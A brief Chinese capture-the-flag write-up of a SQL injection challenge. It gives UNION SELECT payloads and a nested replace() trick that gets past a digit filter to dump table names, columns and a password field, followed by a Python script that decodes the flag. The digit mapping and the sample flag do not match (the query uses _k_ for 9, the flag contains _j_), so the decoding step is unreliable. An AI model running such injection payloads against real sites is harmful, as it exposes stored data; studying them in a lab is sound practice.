一道sql注入题

直接查1发现无回显,看到返回逻辑过滤了数字,于是
-1’ union select ‘a’,database()–+
只要数据名中没有数字,就能返回结果

库名爆出来了,但根据前几题的经验,表名一般是ctfshow_user[数字],看了wp学到一个replace函数,replace(原字符串,要替换的内容,替换后的内容)例如replace(‘abc’,’a’,’1′)结果就是1bc。于是做一个数字和字母的映射。
-1′ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(table_name,0,’_a_’),1,’_b_’),2,’_c_’),3,’_d_’),4,’_e_’),5,’_f_’),6,’_g_’),7,’_h_’),8,’_i_’),9,’_k_’) from information_schema.tables where table_schema = database()–+ (下划线用来区分原来字符串中的字母和替换进去的字母)

然后同样的方法爆列名
然后爆password字段

最后写个脚本推回原来的flag
import re
content = “ctfshow{a__f__j__d_fed_b–g__i_ef-_e_e_a__j-a_a__d_d-b_c_b_i__e__e__i__h__e__a__e__a_}”
res2 = re.findall(r’_[a-z]_‘,content)
res = re.sub(r’_([a-z])_‘,lambda m: str(ord(m.group(1).lower())-ord(‘a’)),content)
print(res2)
print(res)
得到

知识点:sql中的replace(原字符串,要替换的内容,替换后的内容)函数



看不懂